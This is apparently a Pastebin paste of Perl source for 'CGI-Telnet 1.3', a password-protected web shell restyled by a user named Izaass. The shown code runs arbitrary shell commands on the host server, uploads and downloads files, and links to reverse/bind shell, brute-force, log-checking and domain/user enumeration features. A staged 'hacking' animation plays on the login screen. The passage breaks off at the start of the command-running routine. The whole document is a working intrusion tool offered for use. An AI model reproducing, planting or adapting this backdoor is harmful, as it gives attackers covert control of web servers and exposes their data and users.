IzaassHelen

tl.log

Jun 27th, 2016
190
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 49.16 KB | None | 0 0
  1. #!/usr/bin/perl -I/usr/local/bandmin
  2. use MIME::Base64;
  3. $Version= "CGI-Telnet Version 1.3";
  4. $EditPersion="<font style='text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0); color:#ffffff; font-weight:bold;'>Izaass</font>";
  5.  
  6. $Password = "?"; # Change this. You will need to enter this
  7. # to login.
  8. sub Is_Win(){
  9. $os = &trim($ENV{"SERVER_SOFTWARE"});
  10. if($os =~ m/win/i){
  11. return 1;
  12. }
  13. else{
  14. return 0;
  15. }
  16. }
  17. $WinNT = &Is_Win(); # You need to change the value of this to 1 if
  18. # you're running this script on a Windows NT
  19. # machine. If you're running it on Unix, you
  20. # can leave the value as it is.
  21.  
  22. $NTCmdSep = "&"; # This character is used to seperate 2 commands
  23. # in a command line on Windows NT.
  24.  
  25. $UnixCmdSep = ";"; # This character is used to seperate 2 commands
  26. # in a command line on Unix.
  27.  
  28. $CommandTimeoutDuration = 10; # Time in seconds after commands will be killed
  29. # Don't set this to a very large value. This is
  30. # useful for commands that may hang or that
  31. # take very long to execute, like "find /".
  32. # This is valid only on Unix servers. It is
  33. # ignored on NT Servers.
  34.  
  35. $ShowDynamicOutput = 1; # If this is 1, then data is sent to the
  36. # browser as soon as it is output, otherwise
  37. # it is buffered and send when the command
  38. # completes. This is useful for commands like
  39. # ping, so that you can see the output as it
  40. # is being generated.
  41.  
  42. # DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!
  43.  
  44. $CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
  45. $CmdPwd = ($WinNT ? "cd" : "pwd");
  46. $PathSep = ($WinNT ? "\\" : "/");
  47. $Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");
  48. $cols= 150;
  49. $rows= 26;
  50. #------------------------------------------------------------------------------
  51. # Reads the input sent by the browser and parses the input variables. It
  52. # parses GET, POST and multipart/form-data that is used for uploading files.
  53. # The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}.
  54. # Other variables can be accessed using $in{'var'}, where var is the name of
  55. # the variable. Note: Most of the code in this function is taken from other CGI
  56. # scripts.
  57. #------------------------------------------------------------------------------
  58. sub ReadParse
  59. {
  60. local (*in) = @_ if @_;
  61. local ($i, $loc, $key, $val);
  62.  
  63. $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;
  64.  
  65. if($ENV{'REQUEST_METHOD'} eq "GET")
  66. {
  67. $in = $ENV{'QUERY_STRING'};
  68. }
  69. elsif($ENV{'REQUEST_METHOD'} eq "POST")
  70. {
  71. binmode(STDIN) if $MultipartFormData & $WinNT;
  72. read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
  73. }
  74.  
  75. # handle file upload data
  76. if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
  77. {
  78. $Boundary = '--'.$1; # please refer to RFC1867
  79. @list = split(/$Boundary/, $in);
  80. $HeaderBody = $list[1];
  81. $HeaderBody =~ /\r\n\r\n|\n\n/;
  82. $Header = $`;
  83. $Body = $';
  84. $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
  85. $in{'filedata'} = $Body;
  86. $Header =~ /filename=\"(.+)\"/;
  87. $in{'f'} = $1;
  88. $in{'f'} =~ s/\"//g;
  89. $in{'f'} =~ s/\s//g;
  90.  
  91. # parse trailer
  92. for($i=2; $list[$i]; $i++)
  93. {
  94. $list[$i] =~ s/^.+name=$//;
  95. $list[$i] =~ /\"(\w+)\"/;
  96. $key = $1;
  97. $val = $';
  98. $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
  99. $val =~ s/%(..)/pack("c", hex($1))/ge;
  100. $in{$key} = $val;
  101. }
  102. }
  103. else # standard post data (url encoded, not multipart)
  104. {
  105. @in = split(/&/, $in);
  106. foreach $i (0 .. $#in)
  107. {
  108. $in[$i] =~ s/\+/ /g;
  109. ($key, $val) = split(/=/, $in[$i], 2);
  110. $key =~ s/%(..)/pack("c", hex($1))/ge;
  111. $val =~ s/%(..)/pack("c", hex($1))/ge;
  112. $in{$key} .= "\0" if (defined($in{$key}));
  113. $in{$key} .= $val;
  114. }
  115. }
  116. }
  117.  
  118. #------------------------------------------------------------------------------
  119. # Prints the HTML Page Header
  120. # Argument 1: Form item name to which focus should be set
  121. #------------------------------------------------------------------------------
  122. sub PrintPageHeader
  123. {
  124. $EncodedCurrentDir = $CurrentDir;
  125. $EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  126. my $dir =$CurrentDir;
  127. $dir=~ s/\\/\\\\/g;
  128. print "Content-type: text/html\n\n";
  129. print <<END;
  130. <html>
  131. <head>
  132. <meta http-equiv="content-type" content="text/html; charset=UTF-8">
  133. <title></title>
  134. <script>
  135. var txt="Marion001\t";
  136. var espera=500;
  137. var refresco=null;
  138. function rotulo_title() {
  139. document.title=txt;
  140. txt=txt.substring(1,txt.length)+txt.charAt(0);
  141. refresco=setTimeout("rotulo_title()",espera);
  142. }
  143. rotulo_title();
  144. </script>
  145. $HtmlMetaHeader
  146.  
  147. </head>
  148. <style>
  149. body{
  150. font: 10pt Verdana;
  151. }
  152. tr {
  153. BORDER-RIGHT: #3e3e3e 1px solid;
  154. BORDER-TOP: #3e3e3e 1px solid;
  155. BORDER-LEFT: #3e3e3e 1px solid;
  156. BORDER-BOTTOM: #3e3e3e 1px solid;
  157. color: #ff9900;
  158. }
  159. td {
  160. BORDER-RIGHT: #3e3e3e 1px solid;
  161. BORDER-TOP: #3e3e3e 1px solid;
  162. BORDER-LEFT: #3e3e3e 1px solid;
  163. BORDER-BOTTOM: #3e3e3e 1px solid;
  164. color: #2BA8EC;
  165. font: 10pt Verdana;
  166. }
  167.  
  168. table {
  169. BORDER-RIGHT: #3e3e3e 1px solid;
  170. BORDER-TOP: #3e3e3e 1px solid;
  171. BORDER-LEFT: #3e3e3e 1px solid;
  172. BORDER-BOTTOM: #3e3e3e 1px solid;
  173. BACKGROUND-COLOR: #111;
  174. }
  175.  
  176.  
  177. input {
  178. BORDER-RIGHT: #3e3e3e 1px solid;
  179. BORDER-TOP: #3e3e3e 1px solid;
  180. BORDER-LEFT: #3e3e3e 1px solid;
  181. BORDER-BOTTOM: #3e3e3e 1px solid;
  182. BACKGROUND-COLOR: Black;
  183. font: 10pt Verdana;
  184. color: #ff9900;
  185. }
  186.  
  187. input.submit {
  188. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  189. color: #FFFFFF;
  190. border-color: #009900;
  191. }
  192.  
  193. code {
  194. border : dashed 0px #333;
  195. BACKGROUND-COLOR: Black;
  196. font: 10pt Verdana bold;
  197. color: while;
  198. }
  199.  
  200. run {
  201. border : dashed 0px #333;
  202. font: 10pt Verdana bold;
  203. color: #FF00AA;
  204. }
  205.  
  206. textarea {
  207. BORDER-RIGHT: #3e3e3e 1px solid;
  208. BORDER-TOP: #3e3e3e 1px solid;
  209. BORDER-LEFT: #3e3e3e 1px solid;
  210. BORDER-BOTTOM: #3e3e3e 1px solid;
  211. BACKGROUND-COLOR: #1b1b1b;
  212. font: Fixedsys bold;
  213. color: #00FF00;
  214. }
  215. A:link {
  216. COLOR: #2BA8EC; TEXT-DECORATION: none
  217. }
  218. A:visited {
  219. COLOR: #2BA8EC; TEXT-DECORATION: none
  220. }
  221. A:hover {
  222. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  223. color: #FFFFFF; TEXT-DECORATION: none
  224. }
  225. A:active {
  226. color: Red; TEXT-DECORATION: none
  227. }
  228.  
  229. .listdir tr:hover{
  230. background: #444;
  231. }
  232. .listdir tr:hover td{
  233. background: #444;
  234. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  235. color: #FFFFFF; TEXT-DECORATION: none;
  236. }
  237. .notline{
  238. background: #111;
  239. }
  240. .line{
  241. background: #222;
  242. }
  243. </style>
  244. <script language="javascript">
  245. function chmod_form(i,file)
  246. {
  247. /*var ajax='ajax_PostData("FormPerms_'+i+'","$ScriptLocation","ResponseData"); return false;';*/
  248. var ajax="";
  249. document.getElementById("FilePerms_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + " name=chmod type=text size=5 /><input type=submit class='submit' onclick='" + ajax + "' value=OK><input type=hidden name=a value='gui'><input type=hidden name=d value='$dir'><input type=hidden name=f value='"+file+"'></form>";
  250. document.getElementById("text_" + i).focus();
  251. }
  252. function rm_chmod_form(response,i,perms,file)
  253. {
  254. response.innerHTML = "<span onclick=\\\"chmod_form(" + i + ",'"+ file+ "')\\\" >"+ perms +"</span></td>";
  255. }
  256. function rename_form(i,file,f)
  257. {
  258. var ajax="";
  259. f.replace(/\\\\/g,"\\\\\\\\");
  260. var back="rm_rename_form("+i+",\\\""+file+"\\\",\\\""+f+"\\\"); return false;";
  261. document.getElementById("File_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + " name=rename type=text value= '"+file+"' /><input type=submit class='submit' onclick='" + ajax + "' value=OK><input type=submit class='submit' onclick='" + back + "' value=Cancel><input type=hidden name=a value='gui'><input type=hidden name=d value='$dir'><input type=hidden name=f value='"+file+"'></form>";
  262. document.getElementById("text_" + i).focus();
  263. }
  264. function rm_rename_form(i,file,f)
  265. {
  266. if(f=='f')
  267. {
  268. document.getElementById("File_"+i).innerHTML="<a href='?a=command&d=$dir&c=edit%20"+file+"%20'>" +file+ "</a>";
  269. }else
  270. {
  271. document.getElementById("File_"+i).innerHTML="<a href='?a=gui&d="+f+"'>[ " +file+ " ]</a>";
  272. }
  273. }
  274. </script>
  275. <body onLoad="document.f.@_.focus()" bgcolor="#0c0c0c" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0">
  276. <center><code>
  277. <br></br>
  278. <table border="1" width="96%" cellspacing="0" cellpadding="2">
  279. <tr>
  280. <td align="center" rowspan="3">
  281. $EditPersion
  282. </td>
  283. <td><font color="red">Connecting:</font> $ENV{'SERVER_NAME'} | <font color="red">Path :</font> $ENV{'DOCUMENT_ROOT'}</td>
  284. <td>
  285. <font color="red">Server IP:<font color="#ff9900"> $ENV{'SERVER_ADDR'}</font> | Your IP: <font color="#ff9900">$ENV{'REMOTE_ADDR'}</font></font>
  286. </td>
  287. </tr>
  288. <tr>
  289. <td colspan="3">
  290. <font face="Verdana" size="2"><font color="red">Server:</font> $ENV{"SERVER_SOFTWARE"}</font>
  291. </td>
  292. </tr>
  293. <tr>
  294. <td colspan="3">
  295. <font face="Verdana" size="2">
  296. <a href="$ScriptLocation">Home</a> |
  297. <a href="$ScriptLocation?a=command&d=$EncodedCurrentDir">Command</a> |
  298. <a href="$ScriptLocation?a=gui&d=$EncodedCurrentDir">GUI</a> |
  299. <a href="$ScriptLocation?a=upload&d=$EncodedCurrentDir">Upload File</a> |
  300. <a href="$ScriptLocation?a=download&d=$EncodedCurrentDir">Download File</a> |
  301.  
  302. <a href="$ScriptLocation?a=backbind">Back & Bind</a> |
  303. <a href="$ScriptLocation?a=bruteforcer">Brute Forcer</a> |
  304. <a href="$ScriptLocation?a=checklog">Check Log</a> |
  305. <a href="$ScriptLocation?a=domainsuser">Domains/Users</a> |
  306. <a href="$ScriptLocation?a=logout">Logout</a> |
  307. <a target='_blank' href="#">Help</a>
  308. </font>
  309. </td>
  310. </tr>
  311. </table>
  312. <font id="ResponseData" color="#FFFFFF" >
  313. END
  314. }
  315.  
  316. #------------------------------------------------------------------------------
  317. # Prints the Login Screen
  318. #------------------------------------------------------------------------------
  319. sub PrintLoginScreen
  320. {
  321.  
  322. print <<END;
  323. <pre><script type="text/javascript">
  324. TypingText = function(element, interval, cursor, finishedCallback) {
  325. if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
  326. this.running = true; // Never run.
  327. return;
  328. }
  329. this.element = element;
  330. this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
  331. this.interval = (typeof interval == "undefined" ? 100 : interval);
  332. this.origText = this.element.innerHTML;
  333. this.unparsedOrigText = this.origText;
  334. this.cursor = (cursor ? cursor : "");
  335. this.currentText = "";
  336. this.currentChar = 0;
  337. this.element.typingText = this;
  338. if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
  339. TypingText.all.push(this);
  340. this.running = false;
  341. this.inTag = false;
  342. this.tagBuffer = "";
  343. this.inHTMLEntity = false;
  344. this.HTMLEntityBuffer = "";
  345. }
  346. TypingText.all = new Array();
  347. TypingText.currentIndex = 0;
  348. TypingText.runAll = function() {
  349. for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
  350. }
  351. TypingText.prototype.run = function() {
  352. if(this.running) return;
  353. if(typeof this.origText == "undefined") {
  354. setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval); // We haven't finished loading yet. Have patience.
  355. return;
  356. }
  357. if(this.currentText == "") this.element.innerHTML = "";
  358. // this.origText = this.origText.replace(/<([^<])*>/, ""); // Strip HTML from text.
  359. if(this.currentChar < this.origText.length) {
  360. if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
  361. this.tagBuffer = "<";
  362. this.inTag = true;
  363. this.currentChar++;
  364. this.run();
  365. return;
  366. } else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
  367. this.tagBuffer += ">";
  368. this.inTag = false;
  369. this.currentText += this.tagBuffer;
  370. this.currentChar++;
  371. this.run();
  372. return;
  373. } else if(this.inTag) {
  374. this.tagBuffer += this.origText.charAt(this.currentChar);
  375. this.currentChar++;
  376. this.run();
  377. return;
  378. } else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
  379. this.HTMLEntityBuffer = "&";
  380. this.inHTMLEntity = true;
  381. this.currentChar++;
  382. this.run();
  383. return;
  384. } else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
  385. this.HTMLEntityBuffer += ";";
  386. this.inHTMLEntity = false;
  387. this.currentText += this.HTMLEntityBuffer;
  388. this.currentChar++;
  389. this.run();
  390. return;
  391. } else if(this.inHTMLEntity) {
  392. this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);
  393. this.currentChar++;
  394. this.run();
  395. return;
  396. } else {
  397. this.currentText += this.origText.charAt(this.currentChar);
  398. }
  399. this.element.innerHTML = this.currentText;
  400. this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == "function" ? this.cursor(this.currentText) : this.cursor) : "");
  401. this.currentChar++;
  402. setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
  403. } else {
  404. this.currentText = "";
  405. this.currentChar = 0;
  406. this.running = false;
  407. this.finishedCallback();
  408. }
  409. }
  410. </script>
  411. </pre>
  412.  
  413. <font style="font: 15pt Verdana; color: yellow;">Copyright (C) 2011 Parkdream1 </font><br><br>
  414. <table align="center" border="1" width="600" heigh>
  415. <tbody><tr>
  416. <td valign="top" background="http://dl.dropbox.com/u/10860051/images/matran.gif"><p id="hack" style="margin-left: 3px;">
  417. <font color="#009900"> Please Wait . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</font> <br>
  418.  
  419. <font color="#009900"> Trying connect to Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</font><br>
  420. <font color="#F00000"><font color="#FFF000">~\$</font> Connected ! </font><br>
  421. <font color="#009900"><font color="#FFF000">$ServerName~</font> Checking Server . . . . . . . . . . . . . . . . . . .</font> <br>
  422.  
  423. <font color="#009900"><font color="#FFF000">$ServerName~</font> Trying connect to Command . . . . . . . . . . .</font><br>
  424.  
  425. <font color="#F00000"><font color="#FFF000">$ServerName~</font>\$ Connected Command! </font><br>
  426. <font color="#009900"><font color="#FFF000">$ServerName~<font color="#F00000">\$</font></font> OK! You can kill it!</font>
  427. </tr>
  428. </tbody></table>
  429. <br>
  430.  
  431. <script type="text/javascript">
  432. new TypingText(document.getElementById("hack"), 30, function(i){ var ar = new Array("_",""); return " " + ar[i.length % ar.length]; });
  433. TypingText.runAll();
  434.  
  435. </script>
  436. END
  437. }
  438.  
  439. #------------------------------------------------------------------------------
  440. # Add html special chars
  441. #------------------------------------------------------------------------------
  442. sub HtmlSpecialChars($){
  443. my $text = shift;
  444. $text =~ s/&/&amp;/g;
  445. $text =~ s/"/&quot;/g;
  446. $text =~ s/'/&#039;/g;
  447. $text =~ s/</&lt;/g;
  448. $text =~ s/>/&gt;/g;
  449. return $text;
  450. }
  451. #------------------------------------------------------------------------------
  452. # Add link for directory
  453. #------------------------------------------------------------------------------
  454. sub AddLinkDir($)
  455. {
  456. my $ac=shift;
  457. my @dir=();
  458. if($WinNT)
  459. {
  460. @dir=split(/\\/,$CurrentDir);
  461. }else
  462. {
  463. @dir=split("/",&trim($CurrentDir));
  464. }
  465. my $path="";
  466. my $result="";
  467. foreach (@dir)
  468. {
  469. $path .= $_.$PathSep;
  470. $result.="<a href='?a=".$ac."&d=".$path."'>".$_.$PathSep."</a>";
  471. }
  472. return $result;
  473. }
  474. #------------------------------------------------------------------------------
  475. # Prints the message that informs the user of a failed login
  476. #------------------------------------------------------------------------------
  477. sub PrintLoginFailedMessage
  478. {
  479. print <<END;
  480. <br>Login : Administrator<br>
  481.  
  482. Password:<br>
  483. Login incorrect<br><br>
  484. END
  485. }
  486.  
  487. #------------------------------------------------------------------------------
  488. # Prints the HTML form for logging in
  489. #------------------------------------------------------------------------------
  490. sub PrintLoginForm
  491. {
  492. print <<END;
  493. <form name="f" method="POST" action="$ScriptLocation">
  494. <input type="hidden" name="a" value="login">
  495. Login : Administrator<br>
  496. Password:<input type="password" name="p">
  497. <input class="submit" type="submit" value="Enter">
  498. </form>
  499. END
  500. }
  501.  
  502. #------------------------------------------------------------------------------
  503. # Prints the footer for the HTML Page
  504. #------------------------------------------------------------------------------
  505. sub PrintPageFooter
  506. {
  507. print "</code></center></body></html>";
  508. }
  509.  
  510. #------------------------------------------------------------------------------
  511. # Retreives the values of all cookies. The cookies can be accesses using the
  512. # variable $Cookies{''}
  513. #------------------------------------------------------------------------------
  514. sub GetCookies
  515. {
  516. @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
  517. foreach $cookie(@httpcookies)
  518. {
  519. ($id, $val) = split(/=/, $cookie);
  520. $Cookies{$id} = $val;
  521. }
  522. }
  523.  
  524. #------------------------------------------------------------------------------
  525. # Prints the screen when the user logs out
  526. #------------------------------------------------------------------------------
  527. sub PrintLogoutScreen
  528. {
  529. print "Dang Xuat Thanh Cong.<br><br>";
  530. }
  531.  
  532. #------------------------------------------------------------------------------
  533. # Logs out the user and allows the user to login again
  534. #------------------------------------------------------------------------------
  535. sub PerformLogout
  536. {
  537. print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
  538. &PrintPageHeader("p");
  539. &PrintLogoutScreen;
  540.  
  541. &PrintLoginScreen;
  542. &PrintLoginForm;
  543. &PrintPageFooter;
  544. exit;
  545. }
  546.  
  547. #------------------------------------------------------------------------------
  548. # This function is called to login the user. If the password matches, it
  549. # displays a page that allows the user to run commands. If the password doens't
  550. # match or if no password is entered, it displays a form that allows the user
  551. # to login
  552. #------------------------------------------------------------------------------
  553. sub PerformLogin
  554. {
  555. if($LoginPassword eq $Password) # password matched
  556. {
  557. print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
  558. &PrintPageHeader;
  559. print &ListDir;
  560. }
  561. else # password didn't match
  562. {
  563. &PrintPageHeader("p");
  564. &PrintLoginScreen;
  565. if($LoginPassword ne "") # some password was entered
  566. {
  567. &PrintLoginFailedMessage;
  568.  
  569. }
  570. &PrintLoginForm;
  571. &PrintPageFooter;
  572. exit;
  573. }
  574. }
  575.  
  576. #------------------------------------------------------------------------------
  577. # Prints the HTML form that allows the user to enter commands
  578. #------------------------------------------------------------------------------
  579. sub PrintCommandLineInputForm
  580. {
  581. my $dir= "<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("command")."</span>";
  582. $Prompt = $WinNT ? "$dir > " : "<font color='#FFFFFF'>[admin\@$ServerName $dir]\$</font> ";
  583. return <<END;
  584. <form name="f" method="POST" action="$ScriptLocation">
  585.  
  586. <input type="hidden" name="a" value="command">
  587.  
  588. <input type="hidden" name="d" value="$CurrentDir">
  589. $Prompt
  590. <input type="text" size="40" name="c">
  591. <input class="submit"type="submit" value="Enter">
  592. </form>
  593. END
  594. }
  595.  
  596. #------------------------------------------------------------------------------
  597. # Prints the HTML form that allows the user to download files
  598. #------------------------------------------------------------------------------
  599. sub PrintFileDownloadForm
  600. {
  601. my $dir = &AddLinkDir("download");
  602. $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
  603. return <<END;
  604. <form name="f" method="POST" action="$ScriptLocation">
  605. <input type="hidden" name="d" value="$CurrentDir">
  606. <input type="hidden" name="a" value="download">
  607. $Prompt download<br><br>
  608. Filename: <input class="file" type="text" name="f" size="35"><br><br>
  609. Download: <input class="submit" type="submit" value="Begin">
  610.  
  611. </form>
  612. END
  613. }
  614.  
  615. #------------------------------------------------------------------------------
  616. # Prints the HTML form that allows the user to upload files
  617. #------------------------------------------------------------------------------
  618. sub PrintFileUploadForm
  619. {
  620. my $dir= &AddLinkDir("upload");
  621. $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
  622. return <<END;
  623. <form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
  624. $Prompt upload<br><br>
  625. Filename: <input class="file" type="file" name="f" size="35"><br><br>
  626. Options: &nbsp;<input type="checkbox" name="o" id="up" value="overwrite">
  627. <label for="up">Overwrite if it Exists</label><br><br>
  628. Upload:&nbsp;&nbsp;&nbsp;<input class="submit" type="submit" value="Begin">
  629. <input type="hidden" name="d" value="$CurrentDir">
  630. <input class="submit" type="hidden" name="a" value="upload">
  631.  
  632. </form>
  633.  
  634. END
  635. }
  636.  
  637. #------------------------------------------------------------------------------
  638. # This function is called when the timeout for a command expires. We need to
  639. # terminate the script immediately. This function is valid only on Unix. It is
  640. # never called when the script is running on NT.
  641. #------------------------------------------------------------------------------
  642. sub CommandTimeout
  643. {
  644. if(!$WinNT)
  645. {
  646. alarm(0);
  647. return <<END;
  648. </textarea>
  649. <br><font color=yellow>
  650. Command exceeded maximum time of $CommandTimeoutDuration second(s).</font>
  651. <br><font size='6' color=red>Killed it!</font>
  652. END
  653. }
  654. }
  655.  
  656.  
  657.  
  658. #------------------------------------------------------------------------------
  659. # This function displays the page that contains a link which allows the user
  660. # to download the specified file. The page also contains a auto-refresh
  661. # feature that starts the download automatically.
  662. # Argument 1: Fully qualified filename of the file to be downloaded
  663. #------------------------------------------------------------------------------
  664. sub PrintDownloadLinkPage
  665. {
  666. local($FileUrl) = @_;
  667. my $result="";
  668. if(-e $FileUrl) # if the file exists
  669. {
  670. # encode the file link so we can send it to the browser
  671. $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  672. $DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
  673. $HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
  674. &PrintPageHeader("c");
  675. $result .= <<END;
  676. Sending File $TransferFile...<br>
  677.  
  678. If the download does not start automatically,
  679. <a href="$DownloadLink">Click Here</a>
  680. END
  681. $result .= &PrintCommandLineInputForm;
  682. }
  683. else # file doesn't exist
  684. {
  685. $result .= "Failed to download $FileUrl: $!";
  686. $result .= &PrintFileDownloadForm;
  687. }
  688. return $result;
  689. }
  690.  
  691. #------------------------------------------------------------------------------
  692. # This function reads the specified file from the disk and sends it to the
  693. # browser, so that it can be downloaded by the user.
  694. # Argument 1: Fully qualified pathname of the file to be sent.
  695. #------------------------------------------------------------------------------
  696. sub SendFileToBrowser
  697. {
  698. my $result = "";
  699. local($SendFile) = @_;
  700. if(open(SENDFILE, $SendFile)) # file opened for reading
  701. {
  702. if($WinNT)
  703. {
  704. binmode(SENDFILE);
  705. binmode(STDOUT);
  706. }
  707. $FileSize = (stat($SendFile))[7];
  708. ($Filename = $SendFile) =~ m!([^/^\\]*)$!;
  709. print "Content-Type: application/x-unknown\n";
  710. print "Content-Length: $FileSize\n";
  711. print "Content-Disposition: attachment; filename=$1\n\n";
  712. print while(<SENDFILE>);
  713. close(SENDFILE);
  714. exit(1);
  715. }
  716. else # failed to open file
  717. {
  718. $result .= "Failed to download $SendFile: $!";
  719. $result .=&PrintFileDownloadForm;
  720. }
  721. return $result;
  722. }
  723.  
  724.  
  725. #------------------------------------------------------------------------------
  726. # This function is called when the user downloads a file. It displays a message
  727. # to the user and provides a link through which the file can be downloaded.
  728. # This function is also called when the user clicks on that link. In this case,
  729. # the file is read and sent to the browser.
  730. #------------------------------------------------------------------------------
  731. sub BeginDownload
  732. {
  733. # get fully qualified path of the file to be downloaded
  734. if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
  735. (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  736. {
  737. $TargetFile = $TransferFile;
  738. }
  739. else # path is relative
  740. {
  741. chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  742. $TargetFile .= $PathSep.$TransferFile;
  743. }
  744.  
  745. if($Options eq "go") # we have to send the file
  746. {
  747. &SendFileToBrowser($TargetFile);
  748. }
  749. else # we have to send only the link page
  750. {
  751. &PrintDownloadLinkPage($TargetFile);
  752. }
  753. }
  754.  
  755. #------------------------------------------------------------------------------
  756. # This function is called when the user wants to upload a file. If the
  757. # file is not specified, it displays a form allowing the user to specify a
  758. # file, otherwise it starts the upload process.
  759. #------------------------------------------------------------------------------
  760. sub UploadFile
  761. {
  762. # if no file is specified, print the upload form again
  763. if($TransferFile eq "")
  764. {
  765. return &PrintFileUploadForm;
  766.  
  767. }
  768. my $result="";
  769. # start the uploading process
  770. $result .= "Uploading $TransferFile to $CurrentDir...<br>";
  771.  
  772. # get the fullly qualified pathname of the file to be created
  773. chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
  774. $TransferFile =~ m!([^/^\\]*)$!;
  775. $TargetName .= $PathSep.$1;
  776.  
  777. $TargetFileSize = length($in{'filedata'});
  778. # if the file exists and we are not supposed to overwrite it
  779. if(-e $TargetName && $Options ne "overwrite")
  780. {
  781. $result .= "Failed: Destination file already exists.<br>";
  782. }
  783. else # file is not present
  784. {
  785. if(open(UPLOADFILE, ">$TargetName"))
  786. {
  787. binmode(UPLOADFILE) if $WinNT;
  788. print UPLOADFILE $in{'filedata'};
  789. close(UPLOADFILE);
  790. $result .= "Transfered $TargetFileSize Bytes.<br>";
  791. $result .= "File Path: $TargetName<br>";
  792. }
  793. else
  794. {
  795. $result .= "Failed: $!<br>";
  796. }
  797. }
  798. $result .= &PrintCommandLineInputForm;
  799. return $result;
  800. }
  801.  
  802. #------------------------------------------------------------------------------
  803. # This function is called when the user wants to download a file. If the
  804. # filename is not specified, it displays a form allowing the user to specify a
  805. # file, otherwise it displays a message to the user and provides a link
  806. # through which the file can be downloaded.
  807. #------------------------------------------------------------------------------
  808. sub DownloadFile
  809. {
  810. # if no file is specified, print the download form again
  811. if($TransferFile eq "")
  812. {
  813. &PrintPageHeader("f");
  814. return &PrintFileDownloadForm;
  815. }
  816.  
  817. # get fully qualified path of the file to be downloaded
  818. if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) | (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  819. {
  820. $TargetFile = $TransferFile;
  821. }
  822. else # path is relative
  823. {
  824. chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  825. $TargetFile .= $PathSep.$TransferFile;
  826. }
  827.  
  828. if($Options eq "go") # we have to send the file
  829. {
  830. return &SendFileToBrowser($TargetFile);
  831. }
  832. else # we have to send only the link page
  833. {
  834. return &PrintDownloadLinkPage($TargetFile);
  835. }
  836. }
  837.  
  838.  
  839. #------------------------------------------------------------------------------
  840. # This function is called to execute commands. It displays the output of the
  841. # command and allows the user to enter another command. The change directory
  842. # command is handled differently. In this case, the new directory is stored in
  843. # an internal variable and is used each time a command has to be executed. The
  844. # output of the change directory command is not displayed to the users
  845. # therefore error messages cannot be displayed.
  846. #------------------------------------------------------------------------------
  847. sub ExecuteCommand
  848. {
  849. my $result="";
  850. if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
  851. {
  852. # we change the directory internally. The output of the
  853. # command is not displayed.
  854. $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
  855. chop($CurrentDir = `$Command`);
  856. $result .= &PrintCommandLineInputForm;
  857.  
  858. $result .= "Command: <run>$RunCommand </run><br><textarea cols='$cols' rows='$rows' spellcheck='false'>";
  859. # xuat thong tin khi chuyen den 1 thu muc nao do!
  860. $RunCommand= $WinNT?"dir":"dir -lia";
  861. $result .= &RunCmd;
  862. }elsif($RunCommand =~ m/^\s*edit\s+(.+)/)
  863. {
  864. $result .= &SaveFileForm;
  865. }else
  866. {
  867. $result .= &PrintCommandLineInputForm;
  868. $result .= "Command: <run>$RunCommand</run><br><textarea id='data' cols='$cols' rows='$rows' spellcheck='false'>";
  869. $result .=&RunCmd;
  870. }
  871. $result .= "</textarea>";
  872. return $result;
  873. }
  874.  
  875. #------------------------------------------------------------------------
  876. # run command
  877. #------------------------------------------------------------------------
  878.  
  879. sub RunCmd
  880. {
